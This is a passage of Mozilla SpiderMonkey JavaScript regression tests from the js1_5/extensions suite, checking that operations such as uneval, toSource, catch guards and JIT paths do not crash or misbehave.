+ er); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-358594-06.js0000664000175000017500000000132612106270663023302 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 358594; var summary = 'Do not crash on uneval(this).'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); // don't crash|assert f = function () { }; f.hhhhhhhhh = this; Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true }); uneval(this); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-431428.js0000664000175000017500000000210612106270663023040 0ustar sstanglsstangl// |reftest| require-or(debugMode,skip) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 431428; var summary = 'Do not crash with for..in, trap'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function f() { for ( var a in [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17]) { } } if (typeof trap == 'function' && typeof setDebug == 'function') { setDebug(true); "" + f; trap(f, 0, ""); "" + f; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-432075.js0000664000175000017500000000140412106270663023037 0ustar sstanglsstangl// |reftest| skip -- obsolete test /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 432075; var summary = 'A function decompiles as [object Function] after export/import'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); var a = Function; var t = this; export *; import t.*; Function = a; expect = 'function anonymous() {}'; actual = (new Function("")) + ''; compareSource(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/scope-001.js0000664000175000017500000000352712106270663022242 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = '53268'; var status = 'Testing scope after changing obj.__proto__'; var expect= ''; var actual = ''; var obj = {}; const five = 5; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ("test"); printBugNumber(BUGNUMBER); printStatus (status); status= 'Step 1: setting obj.__proto__ = global object'; obj.__proto__ = this; actual = obj.five; expect=5; reportCompare (expect, actual, status); obj.five=1; actual = obj.five; expect=5; reportCompare (expect, actual, status); status= 'Step 2: setting obj.__proto__ = null'; obj.__proto__ = null; actual = obj.five; expect=undefined; reportCompare (expect, actual, status); obj.five=2; actual = obj.five; expect=2; reportCompare (expect, actual, status); status= 'Step 3: setting obj.__proto__ to global object again'; obj.__proto__ = this; actual = obj.five; expect=2; //<--- (FROM STEP 2 ABOVE) reportCompare (expect, actual, status); obj.five=3; actual = obj.five; expect=3; reportCompare (expect, actual, status); status= 'Step 4: setting obj.__proto__ to null again'; obj.__proto__ = null; actual = obj.five; expect=3; //<--- (FROM STEP 3 ABOVE) reportCompare (expect, actual, status); obj.five=4; actual = obj.five; expect=4; reportCompare (expect, actual, status); exitFunc ("test"); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-96284-001.js0000664000175000017500000000700512106270663023270 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Date: 03 September 2001 * * SUMMARY: Double quotes should be escaped in Error.prototype.toSource() * See http://bugzilla.mozilla.org/show_bug.cgi?id=96284 * * The real point here is this: we should be able to reconstruct an object * from its toSource() property. We'll test this on various types of objects. * * Method: define obj2 = eval(obj1.toSource()) and verify that * obj2.toSource() == obj1.toSource(). */ //----------------------------------------------------------------------------- var UBound = 0; var BUGNUMBER = 96284; var summary = 'Double quotes should be escaped in Error.prototype.toSource()'; var status = ''; var statusitems = []; var actual = ''; var actualvalues = []; var expect= ''; var expectedvalues = []; var obj1 = {}; var obj2 = {}; var cnTestString = '"This is a \" STUPID \" test string!!!"\\'; // various NativeError objects - status = inSection(1); obj1 = Error(cnTestString); obj2 = eval(obj1.toSource()); actual = obj2.toSource(); expect = obj1.toSource(); addThis(); status = inSection(2); obj1 = EvalError(cnTestString); obj2 = eval(obj1.toSource()); actual = obj2.toSource(); expect = obj1.toSource(); addThis(); status = inSection(3); obj1 = RangeError(cnTestString); obj2 = eval(obj1.toSource()); actual = obj2.toSource(); expect = obj1.toSource(); addThis(); status = inSection(4); obj1 = ReferenceError(cnTestString); obj2 = eval(obj1.toSource()); actual = obj2.toSource(); expect = obj1.toSource(); addThis(); status = inSection(5); obj1 = SyntaxError(cnTestString); obj2 = eval(obj1.toSource()); actual = obj2.toSource(); expect = obj1.toSource(); addThis(); status = inSection(6); obj1 = TypeError(cnTestString); obj2 = eval(obj1.toSource()); actual = obj2.toSource(); expect = obj1.toSource(); addThis(); status = inSection(7); obj1 = URIError(cnTestString); obj2 = eval(obj1.toSource()); actual = obj2.toSource(); expect = obj1.toSource(); addThis(); // other types of objects - status = inSection(8); obj1 = new String(cnTestString); obj2 = eval(obj1.toSource()); actual = obj2.toSource(); expect = obj1.toSource(); addThis(); status = inSection(9); obj1 = {color:'red', texture:cnTestString, hasOwnProperty:42}; obj2 = eval(obj1.toSource()); actual = obj2.toSource(); expect = obj1.toSource(); addThis(); status = inSection(10); obj1 = function(x) {function g(y){return y+1;} return g(x);}; obj2 = eval(obj1.toSource()); actual = obj2.toSource(); expect = obj1.toSource(); addThis(); status = inSection(11); obj1 = new Number(eval('6')); obj2 = eval(obj1.toSource()); actual = obj2.toSource(); expect = obj1.toSource(); addThis(); status = inSection(12); obj1 = /ad;(lf)kj(2309\/\/)\/\//; obj2 = eval(obj1.toSource()); actual = obj2.toSource(); expect = obj1.toSource(); addThis(); //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function addThis() { statusitems[UBound] = status; actualvalues[UBound] = actual; expectedvalues[UBound] = expect; UBound++; } function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); for (var i = 0; i < UBound; i++) { reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]); } exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-452329.js0000664000175000017500000000160612106270663023047 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 452329; var summary = 'Do not assert: *data->pc == JSOP_CALL || *data->pc == JSOP_NEW'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); this.__defineGetter__("x", "".match); if (x) 3; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-381211.js0000664000175000017500000000153312106270663023035 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 381211; var summary = 'uneval with getter'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = '( { get x() {} } )'; actual = uneval({get x(){}}); compareSource(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-372309.js0000664000175000017500000000237512106270663023052 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 372309; var summary = 'Root new array objects'; var actual = 'No Crash'; var expect = 'No Crash'; function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var width = 600; var height = 600; var img1canvas = document.createElement("canvas"); var img2canvas = document.createElement("canvas"); img1canvas.width = img2canvas.width = width; img1canvas.height = img2canvas.height = height; img1canvas.getContext("2d").getImageData(0, 0, width, height).data; img2canvas.getContext("2d").getImageData(0, 0, width, height).data; reportCompare(expect, actual, summary); gDelayTestDriverEnd = false; jsTestDriverEnd(); exitFunc ('test'); } if (typeof window != 'undefined') { // delay test driver end gDelayTestDriverEnd = true; window.addEventListener("load", test, false); } else { reportCompare(expect, actual, summary); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-352291.js0000664000175000017500000000203012106270663023034 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 352291; var summary = 'disassembly of regular expression'; var actual = ''; var expect = 'TypeError: /g/g is not a function'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof dis != 'function') { actual = expect = 'disassembly not supported, test skipped.'; } else { try { dis(/g/g) } catch(ex) { actual = ex + ''; } } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-350312-03.js0000664000175000017500000001062312106270663023253 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 350312; var summary = 'Accessing wrong stack slot with nested catch/finally'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var pfx = "(function (x) {try {if (x > 41) throw x}", cg1a = " catch (e if e === 42) {var v = 'catch guard 1 ' + e; actual += v + ',';print(v);}" cg1b = " catch (e if e === 42) {var v = 'catch guard 1 + throw ' + e; actual += v + ',';print(v); throw e;}" cg2 = " catch (e if e === 43) {var v = 'catch guard 2 ' + e; actual += v + ',';print(v)}" cat = " catch (e) {var v = 'catch all ' + e; print(v); if (e == 44) throw e}" fin = " finally{var v = 'fin'; actual += v + ',';print(v)}", end = "})"; var exphash = { pfx: "(function (y) { var result = ''; y = y + ',';", cg1a: " result += (y === '42,') ? ('catch guard 1 ' + y):'';", cg1b: " result += (y === '42,') ? ('catch guard 1 + throw ' + y):'';", cg2: " result += (y === '43,') ? ('catch guard 2 ' + y):'';", cat: " result += (y > 41) ? ('catch all ' + y):'';", fin: " result += 'fin,';", end: "return result;})" }; var src = [ pfx + fin + end, pfx + cat + end, pfx + cat + fin + end, pfx + cg1a + end, pfx + cg1a + fin + end, pfx + cg1a + cat + end, pfx + cg1a + cat + fin + end, pfx + cg1a + cg2 + end, pfx + cg1a + cg2 + fin + end, pfx + cg1a + cg2 + cat + end, pfx + cg1a + cg2 + cat + fin + end, pfx + cg1b + end, pfx + cg1b + fin + end, pfx + cg1b + cat + end, pfx + cg1b + cat + fin + end, pfx + cg1b + cg2 + end, pfx + cg1b + cg2 + fin + end, pfx + cg1b + cg2 + cat + end, pfx + cg1b + cg2 + cat + fin + end, ]; var expsrc = [ exphash.pfx + exphash.fin + exphash.end, exphash.pfx + exphash.cat + exphash.end, exphash.pfx + exphash.cat + exphash.fin + exphash.end, exphash.pfx + exphash.cg1a + exphash.end, exphash.pfx + exphash.cg1a + exphash.fin + exphash.end, exphash.pfx + exphash.cg1a + exphash.cat + exphash.end, exphash.pfx + exphash.cg1a + exphash.cat + exphash.fin + exphash.end, exphash.pfx + exphash.cg1a + exphash.cg2 + exphash.end, exphash.pfx + exphash.cg1a + exphash.cg2 + exphash.fin + exphash.end, exphash.pfx + exphash.cg1a + exphash.cg2 + exphash.cat + exphash.end, exphash.pfx + exphash.cg1a + exphash.cg2 + exphash.cat + exphash.fin + exphash.end, exphash.pfx + exphash.cg1b + exphash.end, exphash.pfx + exphash.cg1b + exphash.fin + exphash.end, exphash.pfx + exphash.cg1b + exphash.cat + exphash.end, exphash.pfx + exphash.cg1b + exphash.cat + exphash.fin + exphash.end, exphash.pfx + exphash.cg1b + exphash.cg2 + exphash.end, exphash.pfx + exphash.cg1b + exphash.cg2 + exphash.fin + exphash.end, exphash.pfx + exphash.cg1b + exphash.cg2 + exphash.cat + exphash.end, exphash.pfx + exphash.cg1b + exphash.cg2 + exphash.cat + exphash.fin + exphash.end, ]; for (var i in src) { print("\n=== " + i + ": " + src[i]); var f = eval(src[i]); var exp = eval(expsrc[i]); // dis(f); print('decompiling: ' + f); //print('decompiling exp: ' + exp); actual = ''; try { expect = exp(41); f(41) } catch (e) { print('tried f(41), caught ' + e) } reportCompare(expect, actual, summary); actual = ''; try { expect = exp(42); f(42) } catch (e) { print('tried f(42), caught ' + e) } reportCompare(expect, actual, summary); actual = ''; try { expect = exp(43); f(43) } catch (e) { print('tried f(43), caught ' + e) } reportCompare(expect, actual, summary); actual = ''; try { expect = exp(44); f(44) } catch (e) { print('tried f(44), caught ' + e) } reportCompare(expect, actual, summary); actual = ''; try { expect = exp(45); f(45) } catch (e) { print('tried f(44), caught ' + e) } reportCompare(expect, actual, summary); } exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-452565.js0000664000175000017500000000126712106270663023054 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 452565; var summary = 'Do not assert with JIT: !(sprop->attrs & JSPROP_READONLY)'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); const c; (function() { for (var j=0;j<5;++j) { c = 1; } })(); jit(false); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-304897.js0000664000175000017500000000124112106270663023050 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 304897; var summary = 'uneval("\\t"), uneval("\\x09")'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); expect = '"\\t"'; actual = uneval('\t'); reportCompare(expect, actual, summary); actual = uneval('\x09'); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-354541-03.js0000664000175000017500000000323212106270663023261 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 354541; var summary = 'Regression to standard class constructors in case labels'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary + ': top level'); String.prototype.trim = function() { print('hallo'); }; String.prototype.trim = function() { return 'hallo'; }; const S = String; const Sp = String.prototype; expect = 'hallo'; var expectStringInvariant = true var actualStringInvariant; var expectStringPrototypeInvariant = true; var actualStringPrototypeInvariant; if (typeof Script == 'undefined') { print('Test skipped. Script not defined.'); reportCompare("Script not defined, Test skipped.", "Script not defined, Test skipped.", summary); } else { var s = Script('var tmp = function(o) { switch(o) { case String: case 1: return ""; } }; actualStringInvariant = (String === S); actualStringPrototypeInvariant = (String.prototype === Sp); actual = "".trim();'); try { s(); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, 'trim() returned'); reportCompare(expectStringInvariant, actualStringInvariant, 'String invariant'); reportCompare(expectStringPrototypeInvariant, actualStringPrototypeInvariant, 'String.prototype invariant'); } mozjs17.0.0/js/src/tests/js1_5/extensions/catchguard-002.js0000664000175000017500000000166512106270663023240 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ test(); function test() { enterFunc ("test"); var EXCEPTION_DATA = "String exception"; var e; var caught = false; printStatus ("Basic catchguard test."); try { throw EXCEPTION_DATA; } catch (e if true) { caught = true; } catch (e if true) { reportCompare('PASS', 'FAIL', "Second (e if true) catch block should not have executed."); } catch (e) { reportCompare('PASS', 'FAIL', "Catch block (e) should not have executed."); } if (!caught) reportCompare('PASS', 'FAIL', "Exception was never caught."); reportCompare('PASS', 'PASS', 'Basic catchguard test'); exitFunc ("test"); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-469625.js0000664000175000017500000000161512106270663023056 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 469625; var summary = 'TM: Do not crash @ js_String_getelem'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); [].__proto__[0] = 'a'; for (var j = 0; j < 3; ++j) [[, ]] = []; jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-311161.js0000664000175000017500000037170412106270663023044 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 311161; var summary = 'toSource exposes random memory or crashes'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); var commands = [{origCount:1, fun:(function anonymous() {allElements[2].style.background = "#fcd";})}, {origCount:2, fun:(function anonymous() {allElements[9].style.width = "20em";})}, {origCount:3, fun:(function anonymous() {allElements[4].style.width = "200%";})}, {origCount:4, fun:(function anonymous() {allElements[6].style.clear = "right";})}, {origCount:5, fun:(function anonymous() {allElements[8].style.visibility = "hidden";})}, {origCount:6, fun:(function anonymous() {allElements[1].style.overflow = "visible";})}, {origCount:7, fun:(function anonymous() {allElements[4].style.position = "fixed";})}, {origCount:8, fun:(function anonymous() {allElements[10].style.display = "-moz-inline-stack";})}, {origCount:9, fun:(function anonymous() {allElements[10].style.overflow = "auto";})}, {origCount:10, fun:(function anonymous() {allElements[11].style.color = "red";})}, {origCount:11, fun:(function anonymous() {allElements[4].style.height = "2em";})}, {origCount:12, fun:(function anonymous() {allElements[9].style.height = "100px";})}, {origCount:13, fun:(function anonymous() {allElements[5].style['float'] = "none";})}, {origCount:14, fun:(function anonymous() {allElements[9].style.color = "blue";})}, {origCount:15, fun:(function anonymous() {allElements[2].style.clear = "right";})}, {origCount:16, fun:(function anonymous() {allElements[1].style.height = "auto";})}, {origCount:17, fun:(function anonymous() {allElements[0].style.overflow = "hidden";})}, {origCount:18, fun:(function anonymous() {allElements[4].style.display = "table-row-group";})}, {origCount:19, fun:(function anonymous() {allElements[4].style.overflow = "auto";})}, {origCount:20, fun:(function anonymous() {allElements[7].style.height = "100px";})}, {origCount:21, fun:(function anonymous() {allElements[5].style.color = "green";})}, {origCount:22, fun:(function anonymous() {allElements[3].style.display = "-moz-grid-group";})}, {origCount:23, fun:(function anonymous() {allElements[7].style['float'] = "none";})}, {origCount:24, fun:(function anonymous() {allElements[10].style.position = "static";})}, {origCount:25, fun:(function anonymous() {allElements[3].style['float'] = "none";})}, {origCount:26, fun:(function anonymous() {allElements[4].style['float'] = "none";})}, {origCount:27, fun:(function anonymous() {allElements[8].style['float'] = "none";})}, {origCount:28, fun:(function anonymous() {allElements[5].style.visibility = "collapse";})}, {origCount:29, fun:(function anonymous() {allElements[1].style.position = "static";})}, {origCount:30, fun:(function anonymous() {allElements[2].style.color = "black";})}, {origCount:31, fun:(function anonymous() {allElements[0].style.position = "fixed";})}, {origCount:32, fun:(function anonymous() {allElements[0].style.display = "table-row-group";})}, {origCount:33, fun:(function anonymous() {allElements[9].style.position = "relative";})}, {origCount:34, fun:(function anonymous() {allElements[5].style.position = "static";})}, {origCount:35, fun:(function anonymous() {allElements[6].style.background = "transparent";})}, {origCount:36, fun:(function anonymous() {allElements[6].style.color = "blue";})}, {origCount:37, fun:(function anonymous() {allElements[9].style.background = "url(http://www.google.com/images/logo_sm.gif)";})}, {origCount:38, fun:(function anonymous() {allElements[8].style.display = "-moz-grid";})}, {origCount:39, fun:(function anonymous() {allElements[9].style.color = "black";})}, {origCount:40, fun:(function anonymous() {allElements[4].style.position = "static";})}, {origCount:41, fun:(function anonymous() {allElements[10].style.height = "auto";})}, {origCount:42, fun:(function anonymous() {allElements[9].style.color = "green";})}, {origCount:43, fun:(function anonymous() {allElements[4].style.height = "auto";})}, {origCount:44, fun:(function anonymous() {allElements[2].style.clear = "both";})}, {origCount:45, fun:(function anonymous() {allElements[8].style.width = "1px";})}, {origCount:46, fun:(function anonymous() {allElements[2].style.visibility = "visible";})}, {origCount:47, fun:(function anonymous() {allElements[1].style.clear = "left";})}, {origCount:48, fun:(function anonymous() {allElements[11].style.overflow = "auto";})}, {origCount:49, fun:(function anonymous() {allElements[11].style['float'] = "left";})}, {origCount:50, fun:(function anonymous() {allElements[8].style['float'] = "left";})}, {origCount:51, fun:(function anonymous() {allElements[6].style.height = "10%";})}, {origCount:52, fun:(function anonymous() {allElements[11].style.display = "-moz-inline-stack";})}, {origCount:53, fun:(function anonymous() {allElements[3].style.clear = "left";})}, {origCount:54, fun:(function anonymous() {allElements[11].style.visibility = "hidden";})}, {origCount:55, fun:(function anonymous() {allElements[4].style['float'] = "right";})}, {origCount:56, fun:(function anonymous() {allElements[0].style.width = "1px";})}, {origCount:57, fun:(function anonymous() {allElements[3].style.height = "200%";})}, {origCount:58, fun:(function anonymous() {allElements[7].style.height = "10%";})}, {origCount:59, fun:(function anonymous() {allElements[4].style.clear = "none";})}, {origCount:60, fun:(function anonymous() {allElements[11].style['float'] = "none";})}, {origCount:61, fun:(function anonymous() {allElements[9].style['float'] = "left";})}, {origCount:62, fun:(function anonymous() {allElements[4].style.overflow = "scroll";})}, {origCount:63, fun:(function anonymous() {allElements[12].style.height = "200%";})}, {origCount:64, fun:(function anonymous() {allElements[2].style.color = "green";})}, {origCount:65, fun:(function anonymous() {allElements[3].style['float'] = "none";})}, {origCount:66, fun:(function anonymous() {allElements[10].style.background = "transparent";})}, {origCount:67, fun:(function anonymous() {allElements[0].style.height = "auto";})}, {origCount:68, fun:(function anonymous() {allElements[6].style.clear = "left";})}, {origCount:69, fun:(function anonymous() {allElements[7].style.background = "url(http://www.google.com/images/logo_sm.gif)";})}, {origCount:70, fun:(function anonymous() {allElements[8].style.display = "-moz-popup";})}, {origCount:71, fun:(function anonymous() {allElements[2].style.height = "10%";})}, {origCount:72, fun:(function anonymous() {allElements[7].style.display = "table-cell";})}, {origCount:73, fun:(function anonymous() {allElements[3].style.background = "url(http://www.google.com/images/logo_sm.gif)";})}, {origCount:74, fun:(function anonymous() {allElements[8].style.color = "red";})}, {origCount:75, fun:(function anonymous() {allElements[1].style.overflow = "auto";})}, {origCount:76, fun:(function anonymous() {allElements[1].style.background = "#fcd";})}, {origCount:77, fun:(function anonymous() {allElements[0].style.color = "red";})}, {origCount:78, fun:(function anonymous() {allElements[4].style.background = "#fcd";})}, {origCount:79, fun:(function anonymous() {allElements[5].style.position = "static";})}, {origCount:80, fun:(function anonymous() {allElements[8].style.clear = "both";})}, {origCount:81, fun:(function anonymous() {allElements[7].style.clear = "both";})}, {origCount:82, fun:(function anonymous() {allElements[5].style.clear = "both";})}, {origCount:83, fun:(function anonymous() {allElements[10].style.display = "-moz-grid-group";})}, {origCount:84, fun:(function anonymous() {allElements[12].style.clear = "right";})}, {origCount:85, fun:(function anonymous() {allElements[5].style['float'] = "left";})}, {origCount:86, fun:(function anonymous() {allElements[8].style.position = "absolute";})}, {origCount:87, fun:(function anonymous() {allElements[11].style.background = "#fcd";})}, {origCount:88, fun:(function anonymous() {allElements[9].style.position = "relative";})}, {origCount:89, fun:(function anonymous() {allElements[5].style.width = "20em";})}, {origCount:90, fun:(function anonymous() {allElements[6].style.position = "absolute";})}, {origCount:91, fun:(function anonymous() {allElements[5].style.overflow = "scroll";})}, {origCount:92, fun:(function anonymous() {allElements[6].style.background = "#fcd";})}, {origCount:93, fun:(function anonymous() {allElements[2].style.visibility = "visible";})}, {origCount:94, fun:(function anonymous() {allElements[11].style.background = "#fcd";})}, {origCount:95, fun:(function anonymous() {allElements[0].style.visibility = "hidden";})}, {origCount:96, fun:(function anonymous() {allElements[0].style.color = "blue";})}, {origCount:97, fun:(function anonymous() {allElements[3].style['float'] = "left";})}, {origCount:98, fun:(function anonymous() {allElements[3].style.height = "200%";})}, {origCount:99, fun:(function anonymous() {allElements[4].style.background = "url(http://www.google.com/images/logo_sm.gif)";})}, {origCount:100, fun:(function anonymous() {allElements[12].style.width = "10%";})}, {origCount:101, fun:(function anonymous() {allElements[6].style.background = "url(http://www.google.com/images/logo_sm.gif)";})}, {origCount:102, fun:(function anonymous() {allElements[5].style.width = "auto";})}, {origCount:103, fun:(function anonymous() {allElements[1].style.position = "static";})}, {origCount:104, fun:(function anonymous() {allElements[12].style['float'] = "right";})}, {origCount:105, fun:(function anonymous() {allElements[5].style['float'] = "right";})}, {origCount:106, fun:(function anonymous() {allElements[12].style.height = "200%";})}, {origCount:107, fun:(function anonymous() {allElements[11].style['float'] = "none";})}, {origCount:108, fun:(function anonymous() {allElements[9].style.width = "20em";})}, {origCount:109, fun:(function anonymous() {allElements[10].style.background = "url(http://www.google.com/images/logo_sm.gif)";})}, {origCount:110, fun:(function anonymous() {allElements[7].style['float'] = "none";})}, {origCount:111, fun:(function anonymous() {allElements[6].style.visibility = "collapse";})}, {origCount:112, fun:(function anonymous() {allElements[11].style.height = "200%";})}, {origCount:113, fun:(function anonymous() {allElements[3].style.visibility = "visible";})}, {origCount:114, fun:(function anonymous() {allElements[12].style.width = "200%";})}, {origCount:115, fun:(function anonymous() {allElements[5].style.height = "10%";})}, {origCount:116, fun:(function anonymous() {allElements[1].style['float'] = "left";})}, {origCount:117, fun:(function anonymous() {allElements[5].style.overflow = "scroll";})}, {origCount:118, fun:(function anonymous() {allElements[9].style.width = "10%";})}, {origCount:119, fun:(function anonymous() {allElements[6].style.position = "static";})}, {origCount:120, fun:(function anonymous() {allElements[1].style.background = "#fcd";})}, {origCount:121, fun:(function anonymous() {allElements[12].style['float'] = "right";})}, {origCount:122, fun:(function anonymous() {allElements[7].style.width = "1px";})}, {origCount:123, fun:(function anonymous() {allElements[3].style.color = "blue";})}, {origCount:124, fun:(function anonymous() {allElements[6].style.background = "#fcd";})}, {origCount:125, fun:(function anonymous() {allElements[8].style.overflow = "auto";})}, {origCount:126, fun:(function anonymous() {allElements[1].style.overflow = "auto";})}, {origCount:127, fun:(function anonymous() {allElements[5].style['float'] = "none";})}, {origCount:128, fun:(function anonymous() {allElements[12].style.color = "green";})}, {origCount:129, fun:(function anonymous() {allElements[0].style.color = "black";})}, {origCount:130, fun:(function anonymous() {allElements[1].style.position = "relative";})}, {origCount:131, fun:(function anonymous() {allElements[9].style.overflow = "auto";})}, {origCount:132, fun:(function anonymous() {allElements[1].style.display = "table-row";})}, {origCount:133, fun:(function anonymous() {allElements[10].style['float'] = "right";})}, {origCount:134, fun:(function anonymous() {allElements[2].style.visibility = "hidden";})}, {origCount:135, fun:(function anonymous() {allElements[9].style.overflow = 